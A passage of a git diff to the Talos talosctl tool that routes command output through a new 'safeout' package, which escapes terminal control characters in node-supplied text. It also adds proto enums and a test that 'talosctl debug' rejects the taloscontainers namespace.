b/api/resource/definitions/enums/enums.proto index e40da9c9fbd..e4f2b4f9346 100755 --- a/api/resource/definitions/enums/enums.proto +++ b/api/resource/definitions/enums/enums.proto @@ -818,6 +818,22 @@ enum StorageMDMetadata { MD_METADATA12 = 1; } +// NetworkConfigLayer describes network configuration layers, with lowest priority first. +enum NetworkConfigLayer { + CONFIG_DEFAULT = 0; + CONFIG_CMDLINE = 1; + CONFIG_PLATFORM = 2; + CONFIG_OPERATOR = 3; + CONFIG_MACHINE_CONFIGURATION = 4; +} + +// NetworkOperator enumerates Talos network operators. +enum NetworkOperator { + OPERATOR_DHCP4 = 0; + OPERATOR_DHCP6 = 1; + OPERATOR_VIP = 2; +} + // ContainersContainerImagePhase describes the state of a container's image pull. enum ContainersContainerImagePhase { CONTAINER_IMAGE_PHASE_PENDING = 0; @@ -826,6 +842,14 @@ enum ContainersContainerImagePhase { CONTAINER_IMAGE_PHASE_FAILED = 3; } +// ContainersContainerInstancePhase describes the state of a container instance's execution. +enum ContainersContainerInstancePhase { + CONTAINER_INSTANCE_PHASE_CREATED = 0; + CONTAINER_INSTANCE_PHASE_RUNNING = 1; + CONTAINER_INSTANCE_PHASE_TERMINATED = 2; + CONTAINER_INSTANCE_PHASE_FAILED = 3; +} + // CriImageCacheStatus describes image cache status type. enum CriImageCacheStatus { IMAGE_CACHE_STATUS_UNKNOWN = 0; @@ -849,19 +873,3 @@ enum KubespanPeerState { PEER_STATE_DOWN = 2; } -// NetworkConfigLayer describes network configuration layers, with lowest priority first. -enum NetworkConfigLayer { - CONFIG_DEFAULT = 0; - CONFIG_CMDLINE = 1; - CONFIG_PLATFORM = 2; - CONFIG_OPERATOR = 3; - CONFIG_MACHINE_CONFIGURATION = 4; -} - -// NetworkOperator enumerates Talos network operators. -enum NetworkOperator { - OPERATOR_DHCP4 = 0; - OPERATOR_DHCP6 = 1; - OPERATOR_VIP = 2; -} - diff --git a/cmd/talosctl/cmd/mgmt/cluster/destroy.go b/cmd/talosctl/cmd/mgmt/cluster/destroy.go index f0065134128..ef36fe98b05 100644 --- a/cmd/talosctl/cmd/mgmt/cluster/destroy.go +++ b/cmd/talosctl/cmd/mgmt/cluster/destroy.go @@ -10,6 +10,7 @@ import ( "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" "github.com/siderolabs/talos/pkg/cli" "github.com/siderolabs/talos/pkg/provision" "github.com/siderolabs/talos/pkg/provision/providers" @@ -86,7 +87,7 @@ func init() { destroyCmd.PersistentFlags().StringVarP(&destroyCmdFlags.saveSupportArchivePath, "save-support-archive-path", "", "", "save support archive to the specified file on destroy") destroyCmd.PersistentFlags().StringVarP(&destroyCmdFlags.saveClusterLogsArchivePath, "save-cluster-logs-archive-path", "", "", "save cluster logs archive to the specified file on destroy") AddProvisionerFlag(destroyCmd) - cli.Should(destroyCmd.Flags().MarkDeprecated(ProvisionerFlagName, "the provisioner is inferred automatically")) + cli.Should(helpers.MarkFlagDeprecated(destroyCmd.Flags(), ProvisionerFlagName, "the provisioner is inferred automatically")) Cmd.AddCommand(destroyCmd) } diff --git a/cmd/talosctl/cmd/root.go b/cmd/talosctl/cmd/root.go index 8cf5100d2da..ebb5172008a 100644 --- a/cmd/talosctl/cmd/root.go +++ b/cmd/talosctl/cmd/root.go @@ -17,6 +17,7 @@ import ( "github.com/siderolabs/talos/cmd/talosctl/cmd/mgmt/cluster" _ "github.com/siderolabs/talos/cmd/talosctl/cmd/mgmt/cluster/create" // import to get the command registered via the init() function. "github.com/siderolabs/talos/cmd/talosctl/cmd/talos" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/cli" ) @@ -33,16 +34,23 @@ var rootCmd = &cobra.Command{ // Execute invokes the user-entered command in a cancellable context (with Ctrl^C). // Handles errors related to incorrect usage and prints the error message to stderr. func Execute() error { + // a partial UTF-8 sequence held back by the last write is released here, and + // the tail of the output is lost without it. + defer safeout.Flush() //nolint:errcheck + cmd, err := cli.WithContextC(context.Background(), rootCmd.ExecuteContextC) if err != nil && !common.SuppressErrors { - fmt.Fprintln(os.Stderr, err.Error()) - errorString := err.Error() + + safeout.Flush() //nolint:errcheck + + fmt.Fprintln(os.Stderr, safeout.String(errorString)) //nolint:forbidigo // the error message is filtered explicitly + // TODO: this is a nightmare, but arg-flag related validation returns simple `fmt.Errorf`, no way to distinguish // these errors if strings.Contains(errorString, "arg(s)") || strings.Contains(errorString, "flag") || strings.Contains(errorString, "command") { - fmt.Fprintln(os.Stderr) - fmt.Fprintln(os.Stderr, cmd.UsageString()) + fmt.Fprintln(safeout.Stderr()) + fmt.Fprintln(safeout.Stderr(), cmd.UsageString()) } } @@ -57,6 +65,13 @@ func init() { clusterGroup = "cluster" ) + // cobra's own writers, so that anything printed through cmd.Print or cmd.OutOrStdout + // is filtered too. The out writer is stdout, as it is where cobra renders the help + // output; the messages cobra prints through it which belong on stderr are handled + // explicitly - see helpers.MarkFlagDeprecated. + rootCmd.SetOut(safeout.Stdout()) + rootCmd.SetErr(safeout.Stderr()) + rootCmd.AddGroup(&cobra.Group{ID: talosGroup, Title: "Manage running Talos clusters:"}) rootCmd.AddGroup(&cobra.Group{ID: mgmtGroup, Title: "Commands to generate and manage machine configuration offline:"}) rootCmd.AddGroup(&cobra.Group{ID: clusterGroup, Title: "Local Talos cluster commands:"}) diff --git a/cmd/talosctl/cmd/talos/bootstrap.go b/cmd/talosctl/cmd/talos/bootstrap.go index d37d54fe235..8d5b8bb4de8 100644 --- a/cmd/talosctl/cmd/talos/bootstrap.go +++ b/cmd/talosctl/cmd/talos/bootstrap.go @@ -11,6 +11,7 @@ import ( "github.com/spf13/cobra" snapshot "go.etcd.io/etcd/etcdutl/v3/snapshot" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/logging" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" ) @@ -49,14 +50,14 @@ Talos etcd cluster can be recovered from a known snapshot with '--recover-from=' } if bootstrapCmdFlags.recoverFrom != "" { - manager := snapshot.NewV3(logging.Wrap(os.Stderr)) + manager := snapshot.NewV3(logging.Wrap(os.Stderr)) //nolint:forbidigo // a zap sink, not a render path status, err := manager.Status(bootstrapCmdFlags.recoverFrom) if err != nil { return err } - fmt.Printf("recovering from snapshot %q: hash %08x, revision %d, total keys %d, total size %d\n", + safeout.Printf("recovering from snapshot %q: hash %08x, revision %d, total keys %d, total size %d\n", bootstrapCmdFlags.recoverFrom, status.Hash, status.Revision, status.TotalKey, status.TotalSize) snapshot, err := os.Open(bootstrapCmdFlags.recoverFrom) diff --git a/cmd/talosctl/cmd/talos/cgroups.go b/cmd/talosctl/cmd/talos/cgroups.go index fca5f6f7fc7..a4134bc5e18 100644 --- a/cmd/talosctl/cmd/talos/cgroups.go +++ b/cmd/talosctl/cmd/talos/cgroups.go @@ -21,8 +21,8 @@ import ( "go.yaml.in/yaml/v4" "github.com/siderolabs/talos/cmd/talosctl/cmd/talos/cgroupsprinter" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/internal/pkg/cgroups" - "github.com/siderolabs/talos/pkg/cli" "github.com/siderolabs/talos/pkg/machinery/api/common" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/constants" @@ -137,7 +137,7 @@ To see schema examples, refer to https://github.com/siderolabs/talos/tree/main/c } }) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) defer w.Flush() //nolint:errcheck @@ -161,7 +161,7 @@ func buildCgroupResolveMap(ctx context.Context, c *client.Client) map[string]str containersResp, err := c.Containers(ctx, constants.K8sContainerdNamespace, common.ContainerDriver_CRI) if err != nil { - cli.Warning("error getting containers: %s", err) + safeout.Warningf("error getting containers: %s", err) } else { for _, ctr := range containersResp.Messages[0].Containers { if ctr.Uid != "" && ctr.PodId != "" { @@ -186,7 +186,7 @@ func buildProcessResolveMap(ctx context.Context, c *client.Client) map[string]st processesResp, err := c.Processes(ctx) if err != nil { - cli.Warning("error getting processes: %s", err) + safeout.Warningf("error getting processes: %s", err) return processResolveMap } @@ -219,7 +219,7 @@ func buildDevicesResolveMap(ctx context.Context, c *client.Client) map[string]st r, err := c.Copy(ctx, "/sys/dev/block") if err != nil { - cli.Warning("error copying devices: %s", err) + safeout.Warningf("error copying devices: %s", err) return devicesResolveMap } @@ -228,7 +228,7 @@ func buildDevicesResolveMap(ctx context.Context, c *client.Client) map[string]st gzR, err := gzip.NewReader(r) if err != nil { - cli.Warning("error reading devices: %s", err) + safeout.Warningf("error reading devices: %s", err) return devicesResolveMap } diff --git a/cmd/talosctl/cmd/talos/cgroupsprinter/schema.go b/cmd/talosctl/cmd/talos/cgroupsprinter/schema.go index e736843123f..9c80cd6a5c5 100644 --- a/cmd/talosctl/cmd/talos/cgroupsprinter/schema.go +++ b/cmd/talosctl/cmd/talos/cgroupsprinter/schema.go @@ -8,6 +8,8 @@ import ( "io" "strings" "text/template" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" ) // Schema defines columns for cgroups printer. @@ -46,16 +48,21 @@ func (s *Schema) HeaderLine() string { // Render returns the row line. func (s *Schema) Render(data any) (string, error) { - var rowLine strings.Builder + var rowLine, cell strings.Builder for i, c := range s.Columns { if i > 0 { rowLine.WriteString("\t") } - if err := c.Render(&rowLine, data); err != nil { + // the column is rendered into a buffer of its own and escaped + cell.Reset() + + if err := c.Render(&cell, data); err != nil { return "", err } + + rowLine.WriteString(safeout.Cell(cell.String())) } return rowLine.String(), nil diff --git a/cmd/talosctl/cmd/talos/cgroupsprinter/tree.go b/cmd/talosctl/cmd/talos/cgroupsprinter/tree.go index da681baeec5..e4d9bed13a3 100644 --- a/cmd/talosctl/cmd/talos/cgroupsprinter/tree.go +++ b/cmd/talosctl/cmd/talos/cgroupsprinter/tree.go @@ -11,6 +11,7 @@ import ( "slices" "strings" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/internal/pkg/cgroups" ) @@ -62,7 +63,7 @@ func PrintNode(name string, w io.Writer, schema *Schema, node, parent *cgroups.N return err } - _, err = fmt.Fprintf(w, "%s%s%s\t%s\n", prefix.String(), edge, name, rowData) + _, err = fmt.Fprintf(w, "%s%s%s\t%s\n", prefix.String(), edge, safeout.Cell(name), rowData) if err != nil { return err } diff --git a/cmd/talosctl/cmd/talos/config.go b/cmd/talosctl/cmd/talos/config.go index 3adebb94ad2..ff07e907946 100644 --- a/cmd/talosctl/cmd/talos/config.go +++ b/cmd/talosctl/cmd/talos/config.go @@ -27,6 +27,7 @@ import ( "google.golang.org/protobuf/types/known/durationpb" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" clientconfig "github.com/siderolabs/talos/pkg/machinery/client/config" "github.com/siderolabs/talos/pkg/machinery/constants" @@ -282,7 +283,7 @@ var configRemoveCmd = &cobra.Command{ for _, match := range matches { if match == c.Context { fmt.Fprintf( - os.Stderr, + safeout.Stderr(), "skipping removal of current context %q, please change it to another before removing\n", match, ) @@ -297,7 +298,7 @@ var configRemoveCmd = &cobra.Command{ continue } } else { - fmt.Fprintf(os.Stderr, "removing context %q\n", match) + fmt.Fprintf(safeout.Stderr(), "removing context %q\n", match) } noChanges = false @@ -369,7 +370,7 @@ var configGetContextsCmd = &cobra.Command{ keys := maps.Keys(c.Contexts) slices.Sort(keys) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "CURRENT\tNAME\tENDPOINTS\tNODES") for _, name := range keys { @@ -393,7 +394,7 @@ var configGetContextsCmd = &cobra.Command{ nodes = strings.Join(context.Nodes, ",") } - fmt.Fprintf(w, "%s\t%s\t%s\t%s\n", current, name, endpoints, nodes) + safeout.Fprintf(w, "%s\t%s\t%s\t%s\n", current, name, endpoints, nodes) } return w.Flush() @@ -421,7 +422,7 @@ var configMergeCmd = &cobra.Command{ renames := c.Merge(secondConfig) for _, rename := range renames { - fmt.Fprintf(os.Stderr, "renamed talosconfig context %s\n", rename.String()) + fmt.Fprintf(safeout.Stderr(), "renamed talosconfig context %s\n", rename.String()) } if err := c.Save(GlobalArgs.Talosconfig); err != nil { @@ -604,7 +605,7 @@ var configInfoCmd = &cobra.Command{ return err } - fmt.Print(res) + safeout.Print(res) return nil case "json": @@ -613,7 +614,7 @@ var configInfoCmd = &cobra.Command{ return err } - enc := json.NewEncoder(os.Stdout) + enc := json.NewEncoder(os.Stdout) //nolint:forbidigo // the encoder escapes control characters itself enc.SetIndent("", " ") return enc.Encode(&info) @@ -623,7 +624,7 @@ var configInfoCmd = &cobra.Command{ return err } - return yaml.NewEncoder(os.Stdout).Encode(&info) + return yaml.NewEncoder(os.Stdout).Encode(&info) //nolint:forbidigo // the encoder escapes control characters itself default: return fmt.Errorf("unknown output format: %q", configInfoCmdFlags.output) } diff --git a/cmd/talosctl/cmd/talos/containers.go b/cmd/talosctl/cmd/talos/containers.go index a76f13a780c..2cc47a0cbda 100644 --- a/cmd/talosctl/cmd/talos/containers.go +++ b/cmd/talosctl/cmd/talos/containers.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "slices" "strings" "text/tabwriter" @@ -16,15 +15,14 @@ import ( "github.com/spf13/cobra" - "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" - "github.com/siderolabs/talos/pkg/machinery/constants" ) var containersCmdFlags struct { - kubernetesNamespaceFlag + containerNamespaceFlag } // containersCmd represents the processes command. @@ -44,17 +42,9 @@ var containersCmd = &cobra.Command{ defer clientFactory.Close() //nolint:errcheck - var ( - namespace string - driver common.ContainerDriver - ) - - if containersCmdFlags.kubernetes { - namespace = constants.K8sContainerdNamespace - driver = common.ContainerDriver_CRI - } else { - namespace = constants.SystemContainerdNamespace - driver = common.ContainerDriver_CONTAINERD + namespace, driver, err := containersCmdFlags.resolveContainerNamespace() + if err != nil { + return err } responseChan := multiplex.UnaryViaFactory( @@ -64,7 +54,7 @@ var containersCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tNAMESPACE\tID\tIMAGE\tPID\tSTATUS") flushTimer := time.NewTimer(outputFlushInterval) @@ -94,7 +84,7 @@ var containersCmd = &cobra.Command{ display = "└─ " + display } - fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%d\t%s\n", resp.Node, p.Namespace, display, p.Image, p.Pid, p.Status) + safeout.Fprintf(w, "%s\t%s\t%s\t%s\t%d\t%s\n", resp.Node, p.Namespace, display, p.Image, p.Pid, p.Status) } } } @@ -110,7 +100,7 @@ var containersCmd = &cobra.Command{ } func init() { - containersCmd.Flags().BoolVarP(&containersCmdFlags.kubernetes, "kubernetes", "k", false, "use the k8s.io containerd namespace") + addContainerNamespaceFlags(containersCmd, &containersCmdFlags.containerNamespaceFlag) containersCmd.Flags().Bool("use-cri", false, "use the CRI driver") containersCmd.Flags().MarkHidden("use-cri") //nolint:errcheck diff --git a/cmd/talosctl/cmd/talos/copy.go b/cmd/talosctl/cmd/talos/copy.go index 7c06875b488..b3ed3bdb4ee 100644 --- a/cmd/talosctl/cmd/talos/copy.go +++ b/cmd/talosctl/cmd/talos/copy.go @@ -64,7 +64,7 @@ captures ownership and permission bits.`, localPath := args[1] if localPath == "-" { - _, err = io.Copy(os.Stdout, r) + _, err = io.Copy(os.Stdout, r) //nolint:forbidigo // a tar stream, not text. return err } diff --git a/cmd/talosctl/cmd/talos/debug.go b/cmd/talosctl/cmd/talos/debug.go index 637529056e0..a4c27ca1b0f 100644 --- a/cmd/talosctl/cmd/talos/debug.go +++ b/cmd/talosctl/cmd/talos/debug.go @@ -22,6 +22,7 @@ import ( "google.golang.org/grpc/codes" "google.golang.org/grpc/status" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/common" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/constants" @@ -57,6 +58,10 @@ var debugCmd = &cobra.Command{ Args: cobra.RangeArgs(0, 1), RunE: func(cmd *cobra.Command, args []string) error { + if debugCmdFlags.namespace == constants.TalosContainersContainerdNamespace { + return fmt.Errorf("talosctl debug does not support the %q namespace", constants.TalosContainersContainerdNamespace) + } + ctx := cmd.Context() clientFactory, err := NewClientFactory(ctx, nil) @@ -71,7 +76,7 @@ var debugCmd = &cobra.Command{ return err } - rep := reporter.New() + rep := reporter.New(reporter.WithLineFilter(safeout.String)) ctrdInstance, err := debugCmdFlags.containerdInstance() if err != nil { @@ -218,7 +223,9 @@ func runContainer( switch msg.Resp.(type) { case *machine.DebugContainerRunResponse_StdoutData: if stdoutData := msg.GetStdoutData(); stdoutData != nil { - os.Stdout.Write(stdoutData) //nolint:errcheck + // an interactive session with a pty on the node: the escape sequences + // are the point, exactly as they are for ssh. + os.Stdout.Write(stdoutData) //nolint:errcheck,forbidigo } case *machine.DebugContainerRunResponse_ExitCode: @@ -229,7 +236,7 @@ func runContainer( return default: - fmt.Fprintf(os.Stderr, "unknown message type %T\n", msg.Resp) + fmt.Fprintf(safeout.Stderr(), "unknown message type %T\n", msg.Resp) } } }() @@ -240,7 +247,7 @@ func runContainer( select { case err := <-stdinDone: if err != nil && err != io.EOF { - fmt.Fprintf(os.Stderr, "%s\n", err.Error()) + fmt.Fprintf(safeout.Stderr(), "%s\n", err.Error()) } cancel() // cancels sigHandler, stdinReader goroutines @@ -254,7 +261,7 @@ func runContainer( // close send stream and wait for the server to exit // which will cause recvLoop to return if err := stream.CloseSend(); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to close send stream: %v\n", err) + fmt.Fprintf(safeout.Stderr(), "Warning: failed to close send stream: %v\n", err) } if recvErr := <-recvDone; recvErr != nil && recvErr != io.EOF { diff --git a/cmd/talosctl/cmd/talos/debug_test.go b/cmd/talosctl/cmd/talos/debug_test.go new file mode 100644 index 00000000000..4d9085669ad --- /dev/null +++ b/cmd/talosctl/cmd/talos/debug_test.go @@ -0,0 +1,64 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +//go:build !windows + +package talos //nolint:testpackage // to test the unexported debugCmd + +import ( + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/pkg/machinery/constants" +) + +// TestDebugRejectsTalosContainersNamespace covers talosctl debug refusing --namespace taloscontainers. +// +// The check runs before any client/network setup, so RunE can be called directly and is expected to +// fail on the namespace alone, without needing a reachable cluster. +func TestDebugRejectsTalosContainersNamespace(t *testing.T) { + oldNamespace := debugCmdFlags.namespace + + t.Cleanup(func() { debugCmdFlags.namespace = oldNamespace }) + + debugCmdFlags.namespace = constants.TalosContainersContainerdNamespace + + err := debugCmd.RunE(debugCmd, []string{"docker.io/library/alpine:latest"}) + + require.Error(t, err) + assert.Contains(t, err.Error(), constants.TalosContainersContainerdNamespace) +} + +// TestDebugAcceptsOtherNamespaces is the other half: the rejection has to be specific to +// taloscontainers, not a namespace check that would also reject the namespaces debug does support. +// +// Talosconfig is pointed at a path that can't exist so that, once the namespace check passes, +// NewClientFactory fails deterministically on a missing config rather than reaching for a real +// cluster - that failure (not a namespace rejection) is what proves the guard didn't fire. +func TestDebugAcceptsOtherNamespaces(t *testing.T) { + oldTalosconfig := GlobalArgs.Talosconfig + + t.Cleanup(func() { GlobalArgs.Talosconfig = oldTalosconfig }) + + GlobalArgs.Talosconfig = filepath.Join(t.TempDir(), "nonexistent-talosconfig") + + for _, ns := range []string{"inmem", "system", "cri"} { + t.Run(ns, func(t *testing.T) { + oldNamespace := debugCmdFlags.namespace + + t.Cleanup(func() { debugCmdFlags.namespace = oldNamespace }) + + debugCmdFlags.namespace = ns + + err := debugCmd.RunE(debugCmd, []string{"docker.io/library/alpine:latest"}) + + require.Error(t, err) + assert.NotContains(t, err.Error(), "does not support") + assert.NotContains(t, err.Error(), constants.TalosContainersContainerdNamespace) + }) + } +} diff --git a/cmd/talosctl/cmd/talos/diskusage.go b/cmd/talosctl/cmd/talos/diskusage.go index cf8a553fc9e..fa5daa9a66b 100644 --- a/cmd/talosctl/cmd/talos/diskusage.go +++ b/cmd/talosctl/cmd/talos/diskusage.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "slices" "strconv" "text/tabwriter" @@ -16,6 +15,7 @@ import ( "github.com/dustin/go-humanize" "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -81,7 +81,7 @@ var duCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) defer w.Flush() //nolint:errcheck stringifySize := func(s int64) string { @@ -133,7 +133,7 @@ var duCmd = &cobra.Command{ outputArgs = slices.Insert(outputArgs, 0, any(resp.Node)) } - fmt.Fprintf(w, pattern, outputArgs...) + safeout.Fprintf(w, pattern, outputArgs...) } return errs diff --git a/cmd/talosctl/cmd/talos/dmesg.go b/cmd/talosctl/cmd/talos/dmesg.go index d2a74a24502..2b850e4bb76 100644 --- a/cmd/talosctl/cmd/talos/dmesg.go +++ b/cmd/talosctl/cmd/talos/dmesg.go @@ -12,6 +12,7 @@ import ( "github.com/spf13/cobra" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -57,7 +58,7 @@ var dmesgCmd = &cobra.Command{ } if resp.Payload.Bytes != nil { - fmt.Printf("%s: %s", resp.Node, resp.Payload.Bytes) + safeout.Printf("%s: %s", resp.Node, resp.Payload.Bytes) } } diff --git a/cmd/talosctl/cmd/talos/edit.go b/cmd/talosctl/cmd/talos/edit.go index c08f0f80c60..46555366fab 100644 --- a/cmd/talosctl/cmd/talos/edit.go +++ b/cmd/talosctl/cmd/talos/edit.go @@ -23,6 +23,7 @@ import ( "k8s.io/kubectl/pkg/cmd/util/editor/crlf" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/yamlstrip" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -109,13 +110,13 @@ func editFn() func(ctx context.Context, c *client.Client, node string, mc resour } if len(bytes.TrimSpace(bytes.TrimSpace(yamlstrip.Comments(edited)))) == 0 { - fmt.Fprintln(os.Stderr, "Apply was skipped: empty file.") + fmt.Fprintln(safeout.Stderr(), "Apply was skipped: empty file.") break } if bytes.Equal(edited, body) { - fmt.Fprintln(os.Stderr, "Apply was skipped: no changes detected.") + fmt.Fprintln(safeout.Stderr(), "Apply was skipped: no changes detected.") break } diff --git a/cmd/talosctl/cmd/talos/etcd.go b/cmd/talosctl/cmd/talos/etcd.go index 3845f5cf712..97e088417fb 100644 --- a/cmd/talosctl/cmd/talos/etcd.go +++ b/cmd/talosctl/cmd/talos/etcd.go @@ -19,6 +19,7 @@ import ( "github.com/spf13/cobra" snapshot "go.etcd.io/etcd/etcdutl/v3/snapshot" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/logging" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -63,7 +64,7 @@ var etcdAlarmListCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) flushTimer := time.NewTimer(outputFlushInterval) defer flushTimer.Stop() @@ -93,7 +94,7 @@ var etcdAlarmListCmd = &cobra.Command{ headerPrinted = true } - fmt.Fprintf(w, "%s\t%s\t%s\n", resp.Node, etcdresource.FormatMemberID(alarm.GetMemberId()), alarm.GetAlarm().String()) + safeout.Fprintf(w, "%s\t%s\t%s\n", resp.Node, etcdresource.FormatMemberID(alarm.GetMemberId()), alarm.GetAlarm().String()) } } } @@ -131,7 +132,7 @@ var etcdAlarmDisarmCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) flushTimer := time.NewTimer(outputFlushInterval) defer flushTimer.Stop() @@ -161,7 +162,7 @@ var etcdAlarmDisarmCmd = &cobra.Command{ headerPrinted = true } - fmt.Fprintf(w, "%s\t%s\t%s\n", resp.Node, etcdresource.FormatMemberID(alarm.GetMemberId()), alarm.GetAlarm().String()) + safeout.Fprintf(w, "%s\t%s\t%s\n", resp.Node, etcdresource.FormatMemberID(alarm.GetMemberId()), alarm.GetAlarm().String()) } } } @@ -331,7 +332,7 @@ var etcdMemberListCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tID\tHOSTNAME\tPEER URLS\tCLIENT URLS\tLEARNER") flushTimer := time.NewTimer(outputFlushInterval) @@ -353,7 +354,7 @@ var etcdMemberListCmd = &cobra.Command{ } else { for _, message := range resp.Payload.Messages { for _, member := range message.Members { - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\t%s\t%s\t%s\t%v\n", resp.Node, etcdresource.FormatMemberID(member.Id), @@ -398,7 +399,7 @@ var etcdStatusCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tMEMBER\tDB SIZE\tIN USE\tLEADER\tRAFT INDEX\tRAFT TERM\tRAFT APPLIED INDEX\tLEARNER\tPROTOCOL\tSTORAGE\tERRORS") flushTimer := time.NewTimer(outputFlushInterval) @@ -425,7 +426,7 @@ var etcdStatusCmd = &cobra.Command{ ratio = float64(message.GetMemberStatus().GetDbSizeInUse()) / float64(message.GetMemberStatus().GetDbSize()) * 100.0 } - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\t%s\t%s (%.2f%%)\t%s\t%d\t%d\t%d\t%v\t%s\t%s\t%s\n", resp.Node, etcdresource.FormatMemberID(message.GetMemberStatus().GetMemberId()), @@ -515,16 +516,16 @@ var etcdSnapshotCmd = &cobra.Command{ return fmt.Errorf("error renaming to final location: %w", err) } - fmt.Printf("etcd snapshot saved to %q (%d bytes)\n", dbPath, size) + safeout.Printf("etcd snapshot saved to %q (%d bytes)\n", dbPath, size) - manager := snapshot.NewV3(logging.Wrap(os.Stderr)) + manager := snapshot.NewV3(logging.Wrap(os.Stderr)) //nolint:forbidigo // a zap sink, not a render path status, err := manager.Status(dbPath) if err != nil { return err } - fmt.Printf("snapshot info: hash %08x, revision %d, total keys %d, total size %d\n", + safeout.Printf("snapshot info: hash %08x, revision %d, total keys %d, total size %d\n", status.Hash, status.Revision, status.TotalKey, status.TotalSize) return nil @@ -569,7 +570,7 @@ var etcdDowngradeValidateCmd = &cobra.Command{ return err } - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) pattern := etcdDowngradePattern header := etcdDowngradeHeader @@ -578,7 +579,7 @@ var etcdDowngradeValidateCmd = &cobra.Command{ fmt.Fprintln(w, header) } - fmt.Fprintf( + safeout.Fprintf( w, pattern, node, fmt.Sprintf( "downgrade validate success, cluster version %s", @@ -618,7 +619,7 @@ var etcdDowngradeEnableCmd = &cobra.Command{ return err } - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) pattern := etcdDowngradePattern header := etcdDowngradeHeader @@ -627,7 +628,7 @@ var etcdDowngradeEnableCmd = &cobra.Command{ fmt.Fprintln(w, header) } - fmt.Fprintf( + safeout.Fprintf( w, pattern, node, fmt.Sprintf( @@ -666,7 +667,7 @@ var etcdDowngradeCancelCmd = &cobra.Command{ return err } - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) pattern := etcdDowngradePattern header := etcdDowngradeHeader @@ -675,7 +676,7 @@ var etcdDowngradeCancelCmd = &cobra.Command{ fmt.Fprintln(w, header) } - fmt.Fprintf( + 